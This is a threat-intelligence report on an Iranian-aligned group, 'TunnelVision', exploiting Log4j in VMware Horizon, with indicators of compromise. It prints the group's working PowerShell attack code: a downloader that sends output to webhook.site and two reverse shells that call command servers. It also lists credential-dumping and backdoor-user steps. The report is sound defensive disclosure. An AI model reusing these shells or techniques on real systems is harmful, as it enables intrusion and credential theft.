Log4j2 In The Wild | Iranian-Aligned Threat Actor “TunnelVision” Actively Exploiting VMware Horizon

sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/

Amitai Ben Shushan Ehrlich

By Amitai Ben Shushan Ehrlich and Yair Rigevsky

Executive Summary

- SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating in the Middle-East and the US.
- Due to the threat actor’s heavy reliance on tunneling tools, as well as the unique way it chooses to widely deploy those, we track this cluster of activity as TunnelVision.
- Much like other Iranian threat actors operating in the region lately, TunnelVision’s activities were linked to deployment of ransomware, making the group a potentially destructive actor.

Overview

TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in target regions. During the time we’ve been tracking this actor, we have observed wide exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell) and recently

Log4Shell. In almost all of those cases, the threat actor deployed a tunneling tool wrapped in a unique fashion. The most commonly deployed tunneling tools used by the group are Fast Reverse Proxy Client (FRPC) and Plink.

TunnelVision activities are correlated to some extent with parts of Microsoft's Phosphorus, as discussed further in the Attribution section.

In this post, we highlight some of the activities we recently observed from TunnelVision operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities.

VMware Horizon Exploitation

The exploitation of Log4j in VMware Horizon is characterized by a malicious process spawned from the Tomcat service of the VMware product (`C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe`).

TunnelVision attackers have been actively exploiting the vulnerability to run malicious PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and perform lateral movement.

Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell commands directly, and then runs further commands by means of PS reverse shells, executed via the Tomcat process.

PowerShell Commands

TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run PowerShell commands, sending outputs back utilizing a webhook. In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server:

```
try{
    (New-Object
System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Pu

    Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
    $a=iex 'dir "c://Users//public//"' | Out-String;
    iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
    iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -
UseBasicParsing;
}
```

Throughout the activity the usage of multiple legitimate services was observed. Given an environment is compromised by TunnelVision, it might be helpful to look for outbound connections to any of those legitimate public services:

- transfer.sh

- pastebin.com
- webhook.site
- ufile.io
- raw.githubusercontent.com

Reverse Shell #1

```
$c = ""
$p = ""
$r = ""
$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
while($true)
{
    $c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
    $c = 'Write-Host " ";'+$c
    if($c -ne $p)
    {
        $r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
        $p = $c
        $ur = $wc.UploadFile("$u/phppost.php" ,
"c:\programdata\$env:COMPUTERNAME-$li")
    }
    sleep 3
}
```

Reverse Shell #1 was used in the past by TunnelVision operators (7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server: “hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS”. This C2 was referenced in several articles analyzing TunnelVision activities.

Throughout the activity the threat actor leveraged another domain, `service-management[.]tk`, used to host malicious payloads. According to VirusTotal, this domain was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438).

The backdoor drops an additional executable file (e76e9237c49e7598f2b3f94a2b52b01002f8e862) to `%ProgramData%\Installed Packages\InteropServices.exe` and registers it as a service named “InteropServices”.

The dropped executable contains an obfuscated version of the reverse shell as described above, beaconing to the same C2 server (`www[.]microsoft-updateserver[.]cf`). Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner to how PowerLess, another backdoor used by the group, executes its PowerShell payload.

Reverse Shell #2

```
$hst = "51.89.135.142";
$prt = 443;
function watcher() {;
    $limit = (Get - Random  - Minimum 3  - Maximum 7);
    $stopWatch = New - Object  - TypeName System.Diagnostics.Stopwatch;
    $timeSpan = New - TimeSpan  - Seconds $limit;
    $stopWatch.Start();
    while (((($stopWatch.Elapsed).TotalSeconds  - lt $timeSpan.TotalSeconds) )  {};
    $stopWatch.Stop();
};
watcher;
$arr = New - Object int[] 500;
for ($i = 0;
$i  - lt 99;
$i++) {;
    $arr[$i] = (Get - Random  - Minimum 1  - Maximum 25);
};
if ($arr[0]  - gt 0)  {;
    $valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt);
    $banljsdfn = $valksdhfg.GetStream();
    [byte[]]$bytes = 0..65535|% {
        0
    };
    while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length))  - ne 0)  {;
        $lkjnsdffaa = (New - Object  - TypeName
System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
        $nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String );
        $nsdfgsahjxx2 = $nsdfgsahjxx  +  (pwd).Path  +  "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
        $banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
        $banljsdfn.Flush();
        watcher
    };
    $valksdhfg.Close();
};
```

Most of the “online” activities we observed were performed from this PowerShell backdoor. It seems to be a modified variant of a publicly available PowerShell one-liner.

Among those activities were:

- Execution of recon commands.
- Creation of a backdoor user and adding it to the administrators group.
- Credential harvesting using Procdump, SAM hive dumps and comsvcs MiniDump.
- Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel RDP traffic.
- Execution of a reverse shell utilizing VMware Horizon NodeJS component[1,2].
- Internal subnet RDP scan using a publicly available port scan script.

Throughout the activity, the threat actor utilized a github repository “VmWareHorizon” of an account owned by the threat actor, using the name “protections20”.

Attribution

TunnelVision activities have been discussed previously and are tracked by other vendors under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming Kitten or Nemesis Kitten (CrowdStrike).

This confusion arises since activity that Microsoft recognizes as a single group, “Phosphorous”, overlaps with activity that CrowdStrike distinguishes as belonging to two different actors, Charming Kitten and Nemesis Kitten.

We track this cluster separately under the name “TunnelVision”. This does not imply we believe they are necessarily unrelated, only that there is at present insufficient data to treat them as identical to any of the aforementioned attributions.

Indicators of Compromise

TYPE	INDICATOR	NOTES
Domain	www[.]microsoft-updateserver[.]cf	Command and Control (C2) Server
Domain	www[.]service-management[.]tk	Payload server
IP	51.89.169[.]198	Command and Control (C2) Server
IP	142.44.251[.]77	Command and Control (C2) Server
IP	51.89.135[.]142	Command and Control (C2) Server
IP	51.89.190[.]128	Command and Control (C2) Server
IP	51.89.178[.]210	Command and Control (C2) Server, Tunneling Server
IP	142.44.135[.]86	Tunneling Server
IP	182.54.217[.]2	Payload Server
Github Account	https://github.com/protections20	Account utilized to host payloads